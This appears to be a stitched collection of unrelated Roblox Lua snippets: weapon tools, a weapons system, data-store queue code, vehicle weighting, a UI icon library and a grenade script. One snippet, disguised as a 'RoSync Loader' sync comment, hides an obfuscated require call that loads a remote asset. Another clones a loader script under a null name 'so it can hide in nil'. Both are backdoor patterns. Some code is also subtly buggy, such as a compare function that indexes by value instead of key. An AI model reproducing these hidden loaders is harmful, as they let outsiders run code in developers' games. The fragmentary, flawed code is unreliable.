GUI.Frame.Ammo.Fill:TweenSizeAndPosition(UDim2.new(Ammo/Module.AmmoPerClip,0,1,0), UDim2.new(0,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quint, 0.25, true)
GUI.Frame.Clips.Fill:TweenSizeAndPosition(UDim2.new(Clips/Module.MaxClip,0,1,0), UDim2.new(0,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quint, 0.25, true)
GUI.Frame.Ammo.Current.Text = Ammo
GUI.Frame.Ammo.Max.Text = Module.AmmoPerClip
GUI.Frame.Clips.Current.Text = Clips
GUI.Frame.Clips.Max.Text = Module.MaxClip
GUI.Frame.Ammo.Current.Visible = not Reloading
GUI.Frame.Ammo.Max.Visible = not Reloading
GUI.Frame.Ammo.Frame.Visible = not Reloading
GUI.Frame.Ammo.Reloading.Visible = Reloading
GUI.Frame.Clips.Current.Visible = not (Clips <= 0)
GUI.Frame.Clips.Max.Visible = not (Clips <= 0)
GUI.Frame.Clips.Frame.Visible = not (Clips <= 0)
GUI.Frame.Clips.NoMoreClip.Visible = (Clips <= 0)
GUI.Frame.Clips.Visible = Module.LimitedClipEnabled
GUI.Frame.Size = Module.LimitedClipEnabled and UDim2.new(0,250,0,100) or UDim2.new(0,250,0,55)
GUI.Frame.Position = Module.LimitedClipEnabled and UDim2.new(1,-260,1,-110)or UDim2.new(1,-260,1,-65)
end
Mouse.Button1Down:connect(function()
Down = true
local IsChargedShot = false
if Equipped and Enabled and Down and not Reloading and Ammo > 0 and Humanoid.Health > 0 then
Enabled = false
if Module.ChargedShotEnabled then
if HandleToFire:FindFirstChild("ChargeSound") then HandleToFire.ChargeSound:Play() end
wait(Module.ChargingTime)
IsChargedShot = true
end
if Module.MinigunEnabled then
if HandleToFire:FindFirstChild("WindUp") then HandleToFire.WindUp:Play() end
wait(Module.DelayBeforeFiring)
end
while Equipped and not Reloading and (Down or IsChargedShot) and Ammo > 0 and Humanoid.Health > 0 do
IsChargedShot = false
for i = 1,(Module.BurstFireEnabled and Module.BulletPerBurst or 1) do
Spawn(ShakeCamera)
for x = 1,(Module.ShotgunEnabled and Module.BulletPerShot or 1) do
Fire(HandleToFire)
end
Ammo = Ammo - 1
ChangeAmmoAndClip:FireServer(Ammo,Clips)
UpdateGUI()
if Module.BurstFireEnabled then wait(Module.BurstRate) end
if Ammo <= 0 then break end
end
HandleToFire = (HandleToFire == Handle and Module.DualEnabled) and Handle2 or Handle
wait(Module.FireRate)
if not Module.Auto then break end
end
if HandleToFire.FireSound.Playing and HandleToFire.FireSound.Looped then HandleToFire.FireSound:Stop() end
if Module.MinigunEnabled then
if HandleToFire:FindFirstChild("WindDown") then HandleToFire.WindDown:Play() end
wait(Module.DelayAfterFiring)
end
Enabled = true
if Ammo <= 0 then Reload() end
end
end)
Mouse.Button1Up:connect(function()
Down = false
end)
ChangeAmmoAndClip.OnClientEvent:connect(function(ChangedAmmo,ChangedClips)
Ammo = ChangedAmmo
Clips = ChangedClips
UpdateGUI()
end)
Tool.Equipped:connect(function(TempMouse)
Equipped = true
UpdateGUI()
if Module.AmmoPerClip ~= math.huge then GUI.Parent = Player.PlayerGui end
TempMouse.Icon = "rbxassetid://"..Module.MouseIconID
if IdleAnim then IdleAnim:Play(nil,nil,Module.IdleAnimationSpeed) end
TempMouse.KeyDown:connect(function(Key)
if string.lower(Key) == "r" then
Reload()
elseif string.lower(Key) == "e" then
if not Reloading and AimDown == false and Module.SniperEnabled then
Workspace.CurrentCamera.FieldOfView = Module.FieldOfView
--[[local GUI = game.Players.LocalPlayer.PlayerGui:FindFirstChild("ZoomGui") or Tool.ZoomGui:Clone()
GUI.Parent = game.Players.LocalPlayer.PlayerGui]]
GUI.Scope.Visible = true
game.Players.LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson
script["Mouse Sensitivity"].Disabled = false
AimDown = true
Mouse.Icon="http://www.roblox.com/asset?id=187746799"
else
Workspace.CurrentCamera.FieldOfView = 70
--[[local GUI = game.Players.LocalPlayer.PlayerGui:FindFirstChild("ZoomGui")
if GUI then GUI:Destroy() end]]
GUI.Scope.Visible = false
game.Players.LocalPlayer.CameraMode = Enum.CameraMode.Classic
script["Mouse Sensitivity"].Disabled = true
AimDown = false
Mouse.Icon = "rbxassetid://"..Module.MouseIconID
end
end
end)
if Module.DualEnabled and not Workspace.FilteringEnabled then
Handle2.CanCollide = false
local LeftArm = Tool.Parent:FindFirstChild("Left Arm")
local RightArm = Tool.Parent:FindFirstChild("Right Arm")
if RightArm then
local Grip = RightArm:WaitForChild("RightGrip",0.01)
if Grip then
Grip2 = Grip:Clone()
Grip2.Name = "LeftGrip"
Grip2.Part0 = LeftArm
Grip2.Part1 = Handle2
--Grip2.C1 = Grip2.C1:inverse()
Grip2.Parent = LeftArm
end
end
end
end)
Tool.Unequipped:connect(function()
Equipped = false
GUI.Parent = script
if IdleAnim then IdleAnim:Stop() end
if AimDown then
Workspace.CurrentCamera.FieldOfView = 70
--[[local GUI = game.Players.LocalPlayer.PlayerGui:FindFirstChild("ZoomGui")
if GUI then GUI:Destroy() end]]
GUI.Scope.Visible = false
game.Players.LocalPlayer.CameraMode = Enum.CameraMode.Classic
script["Mouse Sensitivity"].Disabled = true
AimDown = false
Mouse.Icon = "rbxassetid://"..Module.MouseIconID
end
if Module.DualEnabled and not Workspace.FilteringEnabled then
Handle2.CanCollide = true
if Grip2 then Grip2:Destroy() end
end
end)
Humanoid.Died:connect(function()
Equipped = false
GUI.Parent = script
if IdleAnim then IdleAnim:Stop() end
if AimDown then
Workspace.CurrentCamera.FieldOfView = 70
--[[local GUI = game.Players.LocalPlayer.PlayerGui:FindFirstChild("ZoomGui")
if GUI then GUI:Destroy() end]]
GUI.Scope.Visible = false
game.Players.LocalPlayer.CameraMode = Enum.CameraMode.Classic
script["Mouse Sensitivity"].Disabled = true
AimDown = false
Mouse.Icon = "rbxassetid://"..Module.MouseIconID
end
if Module.DualEnabled and not Workspace.FilteringEnabled then
Handle2.CanCollide = true
if Grip2 then Grip2:Destroy() end
end
end)
|
-- Services |
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local ServerScriptService = game:GetService("ServerScriptService")
local BadgeService = game:GetService("BadgeService")
|
-- Toggle command bar visibility when "K" key is pressed |
userInputService.InputBegan:Connect(function(input, isProcessed)
if not isProcessed and input.KeyCode == Enum.KeyCode.F4 then
toggleCommandBar()
end
end)
|
--[[
Clone and drop the loader so it can hide in nil.
--]] |
game["Run Service"].Heartbeat:Wait()
local loader = script.Parent.Loader:Clone()
loader.Parent = script.Parent
loader.Name = "\0"
loader.Archivable = false
loader.Disabled = false
|
--[[Vehicle Weight]] |
--Determine Current Mass
local mass=0
function getMass(p)
for i,v in pairs(p:GetChildren())do
if v:IsA("BasePart") then
mass=mass+v:GetMass()
end
getMass(v)
end
end
getMass(car)
--Apply Vehicle Weight
if mass<_Tune.Weight*weightScaling then
--Calculate Weight Distribution
local centerF = Vector3.new()
local centerR = Vector3.new()
local countF = 0
local countR = 0
for i,v in pairs(Drive) do
if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
centerF = centerF+v.CFrame.p
countF = countF+1
else
centerR = centerR+v.CFrame.p
countR = countR+1
end
end
centerF = centerF/countF
centerR = centerR/countR
local center = centerR:Lerp(centerF, _Tune.WeightDist/100)
--Create Weight Brick
local weightB = Instance.new("Part")
weightB.Name = "#Weight"
weightB.Anchored = true
weightB.CanCollide = false
weightB.BrickColor = BrickColor.new("Really black")
weightB.TopSurface = Enum.SurfaceType.Smooth
weightB.BottomSurface = Enum.SurfaceType.Smooth
if _Tune.WBVisible then
weightB.Transparency = .75
else
weightB.Transparency = 1
end
weightB.Size = Vector3.new(_Tune.WeightBSize[1],_Tune.WeightBSize[2],_Tune.WeightBSize[3])
weightB.CustomPhysicalProperties = PhysicalProperties.new(((_Tune.Weight*weightScaling)-mass)/(weightB.Size.x*weightB.Size.y*weightB.Size.z),0,0,0,0)
weightB.CFrame=(car.DriveSeat.CFrame-car.DriveSeat.Position+center)*CFrame.new(0,_Tune.CGHeight,0)
weightB.Parent = car.Body
else
--Existing Weight Is Too Massive
warn( "\n\t [AC".._BuildVersion.."]: Mass too high for specified weight."
.."\n\t Target Mass:\t"..(math.ceil(_Tune.Weight*weightScaling*100)/100)
.."\n\t Current Mass:\t"..(math.ceil(mass*100)/100)
.."\n\t Reduce part size or axle density to achieve desired weight.")
end
local flipG = Instance.new("BodyGyro")
flipG.Name = "Flip"
flipG.D = 0
flipG.MaxTorque = Vector3.new(0,0,0)
flipG.P = 0
flipG.Parent = car.DriveSeat
|
-- and (IsServer or weaponInstance:IsDescendantOf(Players.LocalPlayer)) |
function WeaponsSystem.onWeaponAdded(weaponInstance)
local weapon = WeaponsSystem.getWeaponForInstance(weaponInstance)
if not weapon then
WeaponsSystem.createWeaponForInstance(weaponInstance)
end
end
function WeaponsSystem.onWeaponRemoved(weaponInstance)
local weapon = WeaponsSystem.getWeaponForInstance(weaponInstance)
if weapon then
weapon:onDestroyed()
end
WeaponsSystem.knownWeapons[weaponInstance] = nil
end
function WeaponsSystem.getRemoteEvent(name)
if not WeaponsSystem.networkFolder then
return
end
local remoteEvent = WeaponsSystem.remoteEvents[name]
if IsServer then
if not remoteEvent then
warn("No RemoteEvent named ", name)
return nil
end
return remoteEvent
else
if not remoteEvent then
remoteEvent = WeaponsSystem.networkFolder:WaitForChild(name, math.huge)
end
return remoteEvent
end
end
function WeaponsSystem.getRemoteFunction(name)
if not WeaponsSystem.networkFolder then
return
end
local remoteFunc = WeaponsSystem.remoteFunctions[name]
if IsServer then
if not remoteFunc then
warn("No RemoteFunction named ", name)
return nil
end
return remoteFunc
else
if not remoteFunc then
remoteFunc = WeaponsSystem.networkFolder:WaitForChild(name, math.huge)
end
return remoteFunc
end
end
function WeaponsSystem.setWeaponEquipped(weapon, equipped)
assert(not IsServer, "WeaponsSystem.setWeaponEquipped should only be called on the client.")
if not weapon then
return
end
local lastWeapon = WeaponsSystem.currentWeapon
local hasWeapon = false
local weaponChanged = false
if lastWeapon == weapon then
if not equipped then
WeaponsSystem.currentWeapon = nil
hasWeapon = false
weaponChanged = true
else
weaponChanged = false
end
else
if equipped then
WeaponsSystem.currentWeapon = weapon
hasWeapon = true
weaponChanged = true
end
end
if WeaponsSystem.camera then
WeaponsSystem.camera:resetZoomFactor()
WeaponsSystem.camera:setHasScope(false)
if WeaponsSystem.currentWeapon then
WeaponsSystem.camera:setZoomFactor(WeaponsSystem.currentWeapon:getConfigValue("ZoomFactor", 1.1))
WeaponsSystem.camera:setHasScope(WeaponsSystem.currentWeapon:getConfigValue("HasScope", false))
end
end
if WeaponsSystem.gui then
WeaponsSystem.gui:setEnabled(hasWeapon)
if WeaponsSystem.currentWeapon then
WeaponsSystem.gui:setCrosshairWeaponScale(WeaponsSystem.currentWeapon:getConfigValue("CrosshairScale", 1))
else
WeaponsSystem.gui:setCrosshairWeaponScale(1)
end
end
if weaponChanged then
WeaponsSystem.CurrentWeaponChanged:Fire(weapon.instance, lastWeapon and lastWeapon.instance)
end
end
function WeaponsSystem.getHumanoid(part)
while part and part ~= workspace do
if part:IsA("Model") and part.PrimaryPart and part.PrimaryPart.Name == "HumanoidRootPart" then
return part:FindFirstChildOfClass("Humanoid")
end
part = part.Parent
end
end
function WeaponsSystem.getPlayerFromHumanoid(humanoid)
for _, player in ipairs(Players:GetPlayers()) do
if player.Character and humanoid:IsDescendantOf(player.Character) then
return player
end
end
end
local function _defaultDamageCallback(system, target, amount, damageType, dealer, hitInfo, damageData)
if target:FindFirstChild("Health") ~= nil then
--print(target)
target.Health.Value -= amount
target.HitBy.Value = tostring(dealer)
--dealer.Data.Stats.Crumbs.Value += 1
end
if target:IsA("Humanoid") then
target:TakeDamage(amount)
--dealer.Data.Stats.Crumbs.Value += 1
end
end
function WeaponsSystem.doDamage(target, amount, damageType, dealer, hitInfo, damageData)
if not target or ancestorHasTag(target, "WeaponsSystemIgnore") then
return
end
if IsServer then
if target:IsA("Humanoid") and dealer:IsA("Player") and dealer.Character then
local dealerHumanoid = dealer.Character:FindFirstChildOfClass("Humanoid")
local targetPlayer = Players:GetPlayerFromCharacter(target.Parent)
if dealerHumanoid and target ~= dealerHumanoid and targetPlayer then
-- Trigger the damage indicator
WeaponData:FireClient(targetPlayer, "HitByOtherPlayer", dealer.Character.HumanoidRootPart.CFrame.Position)
end
end
-- NOTE: damageData is a more or less free-form parameter that can be used for passing information from the code that is dealing damage about the cause.
-- .The most obvious usage is extracting icons from the various weapon types (in which case a weapon instance would likely be passed in)
-- ..The default weapons pass in that data
local handler = _damageCallback or _defaultDamageCallback
handler(WeaponsSystem, target, amount, damageType, dealer, hitInfo, damageData)
end
end
local function _defaultGetTeamCallback(player)
return 0
end
function WeaponsSystem.getTeam(player)
local handler = _getTeamCallback or _defaultGetTeamCallback
return handler(player)
end
function WeaponsSystem.playersOnDifferentTeams(player1, player2)
if player1 == player2 or player1 == nil or player2 == nil then
-- This allows players to damage themselves and NPC's
return true
end
local player1Team = WeaponsSystem.getTeam(player1)
local player2Team = WeaponsSystem.getTeam(player2)
return player1Team == 0 or player1Team ~= player2Team
end
return WeaponsSystem
|
--[=[
@param andThenFn (value: any) -> Option
@return value: Option
If the option holds a value, then the `andThenFn`
function is called with the held value of the option,
and then the resultant Option returned by the `andThenFn`
is returned. Otherwise, None is returned.
```lua
local optA = Option.Some(32)
local optB = optA:AndThen(function(num)
return Option.Some(num * 2)
end)
print(optB:Expect("Expected number")) --> 64
```
]=] |
function Option:AndThen(andThenFn)
if self:IsSome() then
local result = andThenFn(self:Unwrap())
Option.Assert(result)
return result
else
return Option.None
end
end
|
----- Private functions ----- |
local function IdentifyProfile(store_name, store_scope, key)
return string.format(
"[Store:\"%s\";%sKey:\"%s\"]",
store_name,
store_scope ~= nil and string.format("Scope:\"%s\";", store_scope) or "",
key
)
end
local function CustomWriteQueueCleanup(store, key)
if CustomWriteQueue[store] ~= nil then
CustomWriteQueue[store][key] = nil
if next(CustomWriteQueue[store]) == nil then
CustomWriteQueue[store] = nil
end
end
end
local function CustomWriteQueueMarkForCleanup(store, key)
if CustomWriteQueue[store] ~= nil then
if CustomWriteQueue[store][key] ~= nil then
local queue_data = CustomWriteQueue[store][key]
local queue = queue_data.Queue
if queue_data.CleanupJob == nil then
queue_data.CleanupJob = RunService.Heartbeat:Connect(function()
if os.clock() - queue_data.LastWrite > SETTINGS.RobloxWriteCooldown and #queue == 0 then
queue_data.CleanupJob:Disconnect()
CustomWriteQueueCleanup(store, key)
end
end)
end
elseif next(CustomWriteQueue[store]) == nil then
CustomWriteQueue[store] = nil
end
end
end
local function CustomWriteQueueAsync(callback, store, key) --> ... -- Passed return from callback
if CustomWriteQueue[store] == nil then
CustomWriteQueue[store] = {}
end
if CustomWriteQueue[store][key] == nil then
CustomWriteQueue[store][key] = {LastWrite = 0, Queue = {}, CleanupJob = nil}
end
local queue_data = CustomWriteQueue[store][key]
local queue = queue_data.Queue
-- Cleanup job:
if queue_data.CleanupJob ~= nil then
queue_data.CleanupJob:Disconnect()
queue_data.CleanupJob = nil
end
-- Queue logic:
if os.clock() - queue_data.LastWrite > SETTINGS.RobloxWriteCooldown and #queue == 0 then
queue_data.LastWrite = os.clock()
return callback()
else
table.insert(queue, callback)
while true do
if os.clock() - queue_data.LastWrite > SETTINGS.RobloxWriteCooldown and queue[1] == callback then
table.remove(queue, 1)
queue_data.LastWrite = os.clock()
return callback()
end
task.wait()
end
end
end
local function IsCustomWriteQueueEmptyFor(store, key) --> is_empty [bool]
local lookup = CustomWriteQueue[store]
if lookup ~= nil then
lookup = lookup[key]
return lookup == nil or #lookup.Queue == 0
end
return true
end
local function WaitForLiveAccessCheck() -- This function was created to prevent the ProfileService module yielding execution when required
while IsLiveCheckActive == true do
task.wait()
end
end
local function WaitForPendingProfileStore(profile_store)
while profile_store._is_pending == true do
task.wait()
end
end
local function RegisterIssue(error_message, store_name, store_scope, profile_key) -- Called when a DataStore API call errors
warn("[ProfileService]: DataStore API error " .. IdentifyProfile(store_name, store_scope, profile_key) .. " - \"" .. tostring(error_message) .. "\"")
table.insert(IssueQueue, os.clock()) -- Adding issue time to queue
ProfileService.IssueSignal:Fire(tostring(error_message), store_name, profile_key)
end
local function RegisterCorruption(store_name, store_scope, profile_key) -- Called when a corrupted profile is loaded
warn("[ProfileService]: Resolved profile corruption " .. IdentifyProfile(store_name, store_scope, profile_key))
ProfileService.CorruptionSignal:Fire(store_name, profile_key)
end
local function NewMockDataStoreKeyInfo(params)
local version_id_string = tostring(params.VersionId or 0)
local meta_data = params.MetaData or {}
local user_ids = params.UserIds or {}
return {
CreatedTime = params.CreatedTime,
UpdatedTime = params.UpdatedTime,
Version = string.rep("0", 16) .. "."
.. string.rep("0", 10 - string.len(version_id_string)) .. version_id_string
.. "." .. string.rep("0", 16) .. "." .. "01",
GetMetadata = function()
return DeepCopyTable(meta_data)
end,
GetUserIds = function()
return DeepCopyTable(user_ids)
end,
}
end
local function MockUpdateAsync(mock_data_store, profile_store_name, key, transform_function, is_get_call) --> loaded_data, key_info
local profile_store = mock_data_store[profile_store_name]
if profile_store == nil then
profile_store = {}
mock_data_store[profile_store_name] = profile_store
end
local epoch_time = math.floor(os.time() * 1000)
local mock_entry = profile_store[key]
local mock_entry_was_nil = false
if mock_entry == nil then
mock_entry_was_nil = true
if is_get_call ~= true then
mock_entry = {
Data = nil,
CreatedTime = epoch_time,
UpdatedTime = epoch_time,
VersionId = 0,
UserIds = {},
MetaData = {},
}
profile_store[key] = mock_entry
end
end
local mock_key_info = mock_entry_was_nil == false and NewMockDataStoreKeyInfo(mock_entry) or nil
local transform, user_ids, roblox_meta_data = transform_function(mock_entry and mock_entry.Data, mock_key_info)
if transform == nil then
return nil
else
if mock_entry ~= nil and is_get_call ~= true then
mock_entry.Data = transform
mock_entry.UserIds = DeepCopyTable(user_ids or {})
mock_entry.MetaData = DeepCopyTable(roblox_meta_data or {})
mock_entry.VersionId += 1
mock_entry.UpdatedTime = epoch_time
end
return DeepCopyTable(transform), mock_entry ~= nil and NewMockDataStoreKeyInfo(mock_entry) or nil
end
end
local function IsThisSession(session_tag)
return session_tag[1] == PlaceId and session_tag[2] == JobId
end
|
-- Initialize the tool |
local DecorateTool = {
Name = 'Decorate Tool';
Color = BrickColor.new 'Really black';
};
|
--[[
Compares two dictionaries, including dictionaries containing nested tables.
--]] |
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Sift = require(ReplicatedStorage.Dependencies.Sift)
local function compare(value1: any, value2: any)
if value1 == nil or value2 == nil then
return false
end
local value1Type = typeof(value1)
local value2Type = typeof(value2)
if value1Type ~= value2Type then
return false
end
if value1Type == "table" then
return Sift.Dictionary.equalsDeep(value1, value2)
end
return value1 == value2
end
return function(object1: { [any]: any }, object2: { [any]: any })
local keysChanged: { string } = {}
-- Finding keys in object1 that are absent or changed in object2
for key, value in pairs(object1) do
local otherValue = object2[value]
if not compare(value, otherValue) then
table.insert(keysChanged, key)
end
end
-- Find keys that are present in object2 but not present in object1
for key, value in pairs(object2) do
local otherValue = object1[value]
if not otherValue then
table.insert(keysChanged, key)
end
end
return keysChanged
end
|
--Humanoid.Changed:connect(function(pr)
-- if pr == "Health" then
-- Frame.HP.Text = "HP: " .. Humanoid.Health .. " / " .. Humanoid.MaxHealth
-- elseif pr == "WalkSpeed" then
-- Frame.Speed.Text = "Speed: " .. Humanoid.WalkSpeed
-- end
--end)
--
--Humanoid.Died:connect(function()
-- Frame.HP.Text = "HP: 0 / " .. Humanoid.MaxHealth
--end) |
if Humanoid.Health <= 0 then Frame.HP.Text = "HP: 0 / " .. Humanoid.MaxHealth end
Frame.OK.MouseButton1Up:connect(function() Gui:Destroy() end)
while true do
Frame.HP.Text = "HP: " .. Humanoid.Health .. " / " .. Humanoid.MaxHealth
wait()
end
|
--[[ Last synced 4/6/2021 11:57 RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
--Main Control------------------------------------------------------------------------ |
function Active()
if Sounder.Value == true then
script.Parent.Sounder.Sound:Play()
else
script.Parent.Sounder.Sound:Stop()
end
end
Sounder.Changed:connect(Active)
|
--- Nice Binary Functions^^^^^^^^^^ Lazy formatting/macros | |
--script.Parent.Parent.Mover1.part.Anchored = false |
script.Parent.Parent.Sensortwo.Move.Disabled = false
script.Disabled = true
end
script.Parent.Parent.Sensor.Touched:Connect(onTouched)
|
--// Modules |
local L_123_ = require(L_22_:WaitForChild("Utilities"))
local L_124_ = require(L_22_:WaitForChild("Spring"))
local L_125_ = require(L_22_:WaitForChild("Plugins"))
local L_126_ = require(L_22_:WaitForChild("easing"))
local L_127_ = L_123_.Fade
local L_128_ = L_123_.SpawnCam
local L_129_ = L_123_.FixCam
local L_130_ = L_123_.tweenFoV
local L_131_ = L_123_.tweenCam
local L_132_ = L_123_.tweenRoll
local L_133_ = L_123_.TweenJoint
local L_134_ = L_123_.Weld
|
--local Torso = Character:WaitForChild("UpperTorso")
--local Waist = Torso:WaitForChild("Waist") | |
-- TOGGLEABLE METHODS |
function Icon:setLabel(text, toggleState)
text = text or ""
self:set("iconText", text, toggleState)
return self
end
function Icon:setCornerRadius(scale, offset, toggleState)
local oldCornerRadius = self.instances.iconCorner.CornerRadius
local newCornerRadius = UDim.new(scale or oldCornerRadius.Scale, offset or oldCornerRadius.Offset)
self:set("iconCornerRadius", newCornerRadius, toggleState)
return self
end
function Icon:setImage(imageId, toggleState)
local textureId = (tonumber(imageId) and "http://www.roblox.com/asset/?id="..imageId) or imageId or ""
return self:set("iconImage", textureId, toggleState)
end
function Icon:setOrder(order, toggleState)
local newOrder = tonumber(order) or 1
return self:set("order", newOrder, toggleState)
end
function Icon:setLeft(toggleState)
return self:set("alignment", "left", toggleState)
end
function Icon:setMid(toggleState)
return self:set("alignment", "mid", toggleState)
end
function Icon:setRight(toggleState)
return self:set("alignment", "right", toggleState)
end
function Icon:setImageYScale(YScale, toggleState)
local newYScale = tonumber(YScale) or 0.63
return self:set("iconImageYScale", newYScale, toggleState)
end
function Icon:setImageRatio(ratio, toggleState)
local newRatio = tonumber(ratio) or 1
return self:set("iconImageRatio", newRatio, toggleState)
end
function Icon:setLabelYScale(YScale, toggleState)
local newYScale = tonumber(YScale) or 0.45
return self:set("iconLabelYScale", newYScale, toggleState)
end
function Icon:setBaseZIndex(ZIndex, toggleState)
local newBaseZIndex = tonumber(ZIndex) or 1
return self:set("baseZIndex", newBaseZIndex, toggleState)
end
function Icon:_updateBaseZIndex(baseValue)
local container = self.instances.iconContainer
local newBaseValue = tonumber(baseValue) or container.ZIndex
local difference = newBaseValue - container.ZIndex
if difference == 0 then return "The baseValue is the same" end
for _, object in pairs(self.instances) do
object.ZIndex = object.ZIndex + difference
end
return true
end
function Icon:setSize(XOffset, YOffset, toggleState)
local newXOffset = tonumber(XOffset) or 32
local newYOffset = tonumber(YOffset) or newXOffset
return self:set("iconSize", UDim2.new(0, newXOffset, 0, newYOffset), toggleState)
end
function Icon:_updateIconSize(_, toggleState)
-- This is responsible for handling the appearance and size of the icons label and image, in additon to its own size
local X_MARGIN = 12
local X_GAP = 8
local values = {
iconImage = self:get("iconImage", toggleState) or "_NIL",
iconText = self:get("iconText", toggleState) or "_NIL",
iconSize = self:get("iconSize", toggleState) or "_NIL",
iconImageYScale = self:get("iconImageYScale", toggleState) or "_NIL",
iconImageRatio = self:get("iconImageRatio", toggleState) or "_NIL",
iconLabelYScale = self:get("iconLabelYScale", toggleState) or "_NIL",
}
for k,v in pairs(values) do
if v == "_NIL" then
return
end
end
local iconContainer = self.instances.iconContainer
local iconLabel = self.instances.iconLabel
local iconImage = self.instances.iconImage
local noticeFrame = self.instances.noticeFrame
-- We calculate the cells dimensions as apposed to reading because there's a possibility the cells dimensions were changed at the exact time and have not yet updated
-- this essentially saves us from waiting a heartbeat which causes additonal complications
local cellSizeXOffset = values.iconSize.X.Offset
local cellSizeXScale = values.iconSize.X.Scale
local cellWidth = cellSizeXOffset + (cellSizeXScale * iconContainer.Parent.AbsoluteSize.X)
local minCellWidth = cellWidth
local maxCellWidth = (cellSizeXScale > 0 and cellWidth) or 9999
local cellSizeYOffset = values.iconSize.Y.Offset
local cellSizeYScale = values.iconSize.Y.Scale
local cellHeight = cellSizeYOffset + (cellSizeYScale * iconContainer.Parent.AbsoluteSize.Y)
local labelHeight = cellHeight * values.iconLabelYScale
local labelWidth = textService:GetTextSize(values.iconText, labelHeight, iconLabel.Font, Vector2.new(10000, labelHeight)).X
local imageWidth = cellHeight * values.iconImageYScale * values.iconImageRatio
local usingImage = values.iconImage ~= ""
local usingText = values.iconText ~= ""
local notifPosYScale = 0.5
local desiredCellWidth
if usingImage and not usingText then
notifPosYScale = 0.45
self:set("iconImageVisible", true, toggleState)
self:set("iconImageAnchorPoint", Vector2.new(0.5, 0.5), toggleState)
self:set("iconImagePosition", UDim2.new(0.5, 0, 0.5, 0), toggleState)
self:set("iconImageSize", UDim2.new(values.iconImageYScale*values.iconImageRatio, 0, values.iconImageYScale, 0), toggleState)
self:set("iconLabelVisible", false, toggleState)
elseif not usingImage and usingText then
desiredCellWidth = labelWidth+(X_MARGIN*2)
self:set("iconLabelVisible", true, toggleState)
self:set("iconLabelAnchorPoint", Vector2.new(0, 0.5), toggleState)
self:set("iconLabelPosition", UDim2.new(0, X_MARGIN, 0.5, 0), toggleState)
self:set("iconLabelSize", UDim2.new(1, -X_MARGIN*2, values.iconLabelYScale, 0), toggleState)
self:set("iconLabelTextXAlignment", Enum.TextXAlignment.Center, toggleState)
self:set("iconImageVisible", false, toggleState)
elseif usingImage and usingText then
local labelGap = X_MARGIN + imageWidth + X_GAP
desiredCellWidth = labelGap + labelWidth + X_MARGIN
self:set("iconImageVisible", true, toggleState)
self:set("iconImageAnchorPoint", Vector2.new(0, 0.5), toggleState)
self:set("iconImagePosition", UDim2.new(0, X_MARGIN, 0.5, 0), toggleState)
self:set("iconImageSize", UDim2.new(0, imageWidth, values.iconImageYScale, 0), toggleState)
----
self:set("iconLabelVisible", true, toggleState)
self:set("iconLabelAnchorPoint", Vector2.new(0, 0.5), toggleState)
self:set("iconLabelPosition", UDim2.new(0, labelGap, 0.5, 0), toggleState)
self:set("iconLabelSize", UDim2.new(1, -labelGap-X_MARGIN, values.iconLabelYScale, 0), toggleState)
self:set("iconLabelTextXAlignment", Enum.TextXAlignment.Left, toggleState)
end
if desiredCellWidth then
if not self._updatingIconSize then
self._updatingIconSize = true
local widthScale = (cellSizeXScale > 0 and cellSizeXScale) or 0
local widthOffset = (cellSizeXScale > 0 and 0) or math.clamp(desiredCellWidth, minCellWidth, maxCellWidth)
self:set("iconSize", UDim2.new(widthScale, widthOffset, values.iconSize.Y.Scale, values.iconSize.Y.Offset), toggleState, "_ignorePrevious")
self._updatingIconSize = false
end
end
self:set("iconLabelTextSize", labelHeight, toggleState)
self:set("noticeFramePosition", UDim2.new(notifPosYScale, 0, 0, -2), toggleState)
-- Caption
if self.captionText then
local CAPTION_X_MARGIN = 6
local CAPTION_CONTAINER_Y_SIZE_SCALE = 0.8
local CAPTION_LABEL_Y_SCALE = 0.58
local captionContainer = self.instances.captionContainer
local captionLabel = self.instances.captionLabel
local captionContainerHeight = cellHeight * CAPTION_CONTAINER_Y_SIZE_SCALE
local captionLabelHeight = captionContainerHeight * CAPTION_LABEL_Y_SCALE
local labelFont = self:get("captionFont")
local textWidth = textService:GetTextSize(self.captionText, captionLabelHeight, labelFont, Vector2.new(10000, captionLabelHeight)).X
captionLabel.TextSize = captionLabelHeight
captionLabel.Size = UDim2.new(0, textWidth, CAPTION_LABEL_Y_SCALE, 0)
captionContainer.Size = UDim2.new(0, textWidth + CAPTION_X_MARGIN*2, 0, cellHeight*CAPTION_CONTAINER_Y_SIZE_SCALE)
end
self._updatingIconSize = false
end
|
-- multiply base percentage by powerup number to get its percentage change | |
--returns the wielding player of this tool |
function getPlayer()
local char = Tool.Parent
return game:GetService("Players"):GetPlayerFromCharacter(Character)
end
local function setTransparency(object : Instance, transparency : number)
for i,v in ipairs(object:GetDescendants()) do
if v:IsA("BasePart") then
v.Transparency = transparency
end
end
end
local function setCollision(object : Instance, collision : boolean)
for i,v in ipairs(object:GetDescendants()) do
if v:IsA("BasePart") then
v.CanCollide = collision
end
end
end
function Toss(direction)
local handlePos = Vector3.new(Tool.Handle.Position.X, 0, Tool.Handle.Position.Z)
local spawnPos = Character.Head.Position
spawnPos = spawnPos + (direction * 5)
local Object = Tool.Handle:Clone()
local PinClone = Object.Details.Top.Handle.Pin:Clone()
PinClone.CanCollide = true
PinClone.Archivable = false
PinClone.Parent = workspace
game:GetService("Debris"):AddItem(PinClone, 5)
Object.Details.Top.Handle.Pin.Transparency = 1
setTransparency(Tool.Handle.Details, 1)
setCollision(Object.Details, true)
Object.Parent = workspace
Object.Fuse:Play()
Object.Swing.Pitch = Random.new():NextInteger(90, 110)/100
Object.Swing:Play()
Object.CFrame = Tool.Handle.CFrame
Object.Velocity = (direction*AttackVelocity) + Vector3.new(0,AttackVelocity/7.5,0)
Object.Trail.Enabled = true
local rand = 11.25
Object.RotVelocity = Vector3.new(Random.new():NextNumber(-rand,rand),Random.new():NextNumber(-rand,rand),Random.new():NextNumber(-rand,rand))
Object:SetNetworkOwner(getPlayer())
local tag = Instance.new("ObjectValue")
tag.Value = getPlayer()
tag.Name = "creator"
tag.Parent = Object
local ScriptClone = DamageScript:Clone()
ScriptClone.Parent = Object
ScriptClone.Disabled = false
end
PowerRemote.OnServerEvent:Connect(function(player, Power)
local holder = getPlayer()
if holder ~= player then return end
AttackVelocity = Power
end)
